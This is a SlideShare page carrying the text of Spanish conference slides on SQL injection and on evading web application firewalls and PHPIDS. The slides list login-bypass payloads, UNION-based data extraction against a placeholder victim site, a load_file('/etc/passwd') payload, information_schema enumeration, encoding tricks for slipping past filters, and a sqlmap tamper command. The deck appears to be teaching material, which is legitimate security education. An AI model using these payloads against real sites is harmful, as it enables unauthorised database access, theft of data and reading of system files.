Intrucion a bases de datos

1,316 views

Published on

Diapositivas de la conferencia de inyecciones sql y evacion de Web Application Firewall

0 Comments
0 Likes
Statistics
Notes
  • Be the first to comment

  • Be the first to like this

No Downloads
Views
Total views
1,316
On SlideShare
0
From Embeds
0
Number of Embeds
300
Actions
Shares
0
Downloads
62
Comments
0
Likes
0
Embeds 0
No embeds

No notes for slide

Intrucion a bases de datos

  1. 1. Identificación de lavulnerabilidadDetección de erroresEstructura de unainyección SQLBypass LogginObtención de DatosEvasión de Firewall
  2. 2. Es una vulnerabilidad catalogada de alto riesgo, por sugran capacidad de interactuar firmemente con la base dedatos del servidor vulnerable, Actual mente el 80 % de lasaplicaciones en internet son vulnerables SQLIEsta se debe a un pésimo filtrado de las variables deentrada a la base de datos de una aplicación, estavulnerabilidad se explotara al momento de insertar códigoSQL arbitrariamente en los campos mal filtrados.
  3. 3. $usuario= $_POST[„nombre‟];$password=$_POST[„pass‟];$sql= “SELECT * FROM usuarios WHEREusuario=„$usuario‟ AND password=„$password‟”; El usuario y el password pasan sin ningún filtro directamente a la consulta de la base de datos.
  4. 4. El uso de las comillas simples antesde realizar una inyección sontotalmente importantes pues nosayudan a identificar si el sistema esvulnerable o no, ya que al insertarlaen un parámetro la respuesta porparte del servidor será un error desintaxis SQL.
  5. 5. Los strings en sql son delimitados por comillassimples („)
  6. 6. http://www.victima.com/seguridad/consultas.php?id=989%27?id=989 --------------- parámetro vulnerable%27 -------------------- comilla simple en Hexadecimal
  7. 7. http://www.victima.com/consultas.php?id=9‟ „http://www.victima.com/consultas.php?id=9‟‟)‟‟ „‟)‟‟http://www.victima.com/consultas.php?id=9*/* */*http://www.victima.com/consultas.php?id=9/* /*http://www.victima.com/consultas.php?id=9-- --http://www.victima.com/consultas.php?id=9‟‟-- „‟- -http://www.victima.com/consultas.php?id=9‟‟ ‟‟http://www.victima.com/consultas.php?id=9# #
  8. 8. Para pasarnos un loggin Se utiliza la sentencia OR yaque esta significa que si algo es verdadero entoncestodo será verdadero OR 1=1 . Esto provocará queautomáticamente toda la consulta sea verdadera, seacual sea el usuario.1.- V or V = VERDADERO-------------------- „‟OR 1=1 /* „2.- V or F = VERDADERO-------------------- “OR 1=0 /* „3.- F or V = VERDADERO-------------------- “OR 0=1 /* „4.- F or F = FALSO----------------------------- “OR 0=0 /* ‟
  9. 9. admin‟ - - admin‟ # admin „ /* „ or 1=1- - „ or 1=1# „ or 1=0/* „) or 1=0„1‟=„1- - „) or 1=1(„1‟=„1 - - „) */ 1=0 #
  10. 10. Index.php?id=18+union+all+select+,1,2,3,4,5,6,7— Ocurrió un error al intentar consultar la BDIndex.php?id=18+union+all+select+,1,2,3,4,5,6,7,8—Ocurrió un error al intentar consultar la BDThe used SELECT statements have a different number of columns
  11. 11. Victima.php?id=-1 ORDER BY 1/*Victima.php?id=-1 ORDER BY 2/*Victima.php?id=-1 ORDER BY 3/*Victima.php?id=-1 ORDER BY 4/*Victima.php?id=-1 ORDER BY 5/*Victima.php?id=-1 ORDER BY 6/*Victima.php?id=-1 ORDER BY 7/* ----------- Error
  12. 12. victima.php?id=-1+union+all+select+1,2,3,4,5--
  13. 13. victima.php?id=-1+union+all+select+1,2,3,4,load_file(/etc/passwd)--
  14. 14. version() versión de MySQLdatabase() nombre de la BDcurrent_user() usuario y hostlast_insert_id() ultimo valor de columna AUTO_INCREMENTconnection_id() ID de una conexión@@datadir directorio de la db
  15. 15. Proporciona acceso a los metadatos de la base dedatos. El diccionario de datos o catalogo del sistema.
  16. 16. INFORMATION_SCHEMA.SCHEMATASCHEMATA--------------------------------Información acerca de la DBTABLES-------------------------------------Proporciona información de las tablasCOLUMNS----------------------------------Información de columnasSTATISTICS--------------------------------Índices de tablasCOLUMN_PRIVILEGES-----------------Permisos de tablas1+union+all+select+1,table_name,3,4,5+from+information_schema.tables
  17. 17. Una vez obtenido el nombre de la tabla, se realiza lapetición para ver su contenido.
  18. 18. Se concatena el las variables obtenidas anteriormente,separadas por 0x3a para apreciar mejor el resultado.
  19. 19. OBJETIVOMostrar el ataque deinyección SQL y eldumpeo de la BD. en unambiente controlado.
  20. 20. El atacante sabe que existen filtros que evitara lallegada de la inyección al servidor, el usara unacombinación de caracteres y encriptaciones parasaltarse los filtros y el IDS lo reconozca comovalidos.
  21. 21. OBJETIVOMostrar la evasión de phpids
  22. 22. URL Encode 3-------------------------- %33 4-------------------------- %34 5-------------------------- %35 6-------------------------- %36 A --------------------------%41 Útil para evadir B --------------------------%42 detección de palabras C --------------------------%43El atacante sabe que existen filtros que evitara lallegada de la inyección al servidor, el usara unacombinación de caracteres y encriptaciones parasaltarse los filtros y el IDS lo reconozca comovalidos.
  23. 23. El atacante sabe que existen filtros que evitara lallegada de la inyección al servidor, el usara unacombinación de caracteres y encriptaciones parasaltarse los filtros y el IDS lo reconozca comovalidos. Cifra en Hexadecimal, útil cuando la aplicación emplea Url encode
  24. 24. El atacante sabe que existen filtros que evitara lallegada de la inyección al servidor, el usara unacombinación de caracteres y encriptaciones parasaltarse los filtros y el IDS lo reconozca comovalidos.Cifrando con el estándar Unicode
  25. 25. El atacante sabe que existen filtros que evitara la llegada de la inyección al servidor, el usara una combinación de caracteres y encriptaciones para saltarse los filtros y el IDS lo reconozca como validos.remplaza los espacios en la petición por%23randomText%0A, y después es cifrado con URLencode
  26. 26. El atacante sabe que existen filtros que evitara lallegada de la inyección al servidor, el usara unacombinación de caracteres y encriptaciones parasaltarse los filtros y el IDS lo reconozca comovalidos. Cifra con un random de caracteres en los espacios.
  27. 27. OBJETIVOMostrar la evasión deun WAF , medianteinyección a mano.
  28. 28. ./sqlmap.py -u http://www.victima.com/id.php?id=1 -u --tamper"space2morehash.py“--dbms
  29. 29. El resultado.

×